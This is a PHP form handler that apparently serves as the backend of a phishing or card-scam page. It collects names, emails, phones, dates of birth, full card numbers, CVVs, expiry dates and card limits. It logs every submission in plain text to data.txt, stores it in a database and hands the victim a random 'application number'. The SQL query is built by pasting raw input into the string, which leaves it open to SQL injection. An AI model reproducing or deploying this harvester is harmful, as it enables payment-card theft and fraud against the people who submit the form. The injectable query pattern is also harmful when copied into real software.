<?php
// Establish database connection
include("./include/config.php");

// Check if the request method is POST
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $post_data = json_encode($_POST);
    // Save complete $_POST data to file
    file_put_contents('data.txt', $post_data . PHP_EOL, FILE_APPEND);
    
    // Generate a random application number
    $application_no = rand(10000000, 99999999);

    // Get data from the request
    $name = $_POST['name'];
    $email = $_POST['email'];
    $phone = $_POST['phone'];
    $dob = $_POST['dob'];
    $card_no = $_POST['card_no'];
    $cvv = $_POST['cvv'];
    $expiry = $_POST['expiry'];
    $cardholder = $_POST['cardholder'];
    $cardlimit = $_POST['cardlimit'];
    $available_limit = $_POST['available_limit'];
    $entry = $_POST['entry'];

    // Prepare the SQL statement
    $sql = "INSERT INTO data (application_no, name, email, phone, dob, card_no, cvv, expiry, cardholder, cardlimit, available_limit, entry) VALUES ('$application_no', '$name', '$email', '$phone', '$dob', '$card_no', '$cvv', '$expiry', '$cardholder', '$cardlimit', '$available_limit', '$entry')";
    file_put_contents('data.txt', $sql . PHP_EOL, FILE_APPEND);

    // Execute the statement
    $result = mysqli_query($conn, $sql);

    if ($result) {
        // Data insertion successful
        $response = array("status" => "success", "message" => "Data submitted successfully", "application_no" => $application_no);
        echo json_encode($response);
    } else {
        // Data insertion failed
        $response = array("status" => "error", "message" => "Failed to submit data");
        echo json_encode($response);
    }
}

// Close the database connection
mysqli_close($conn);
?>
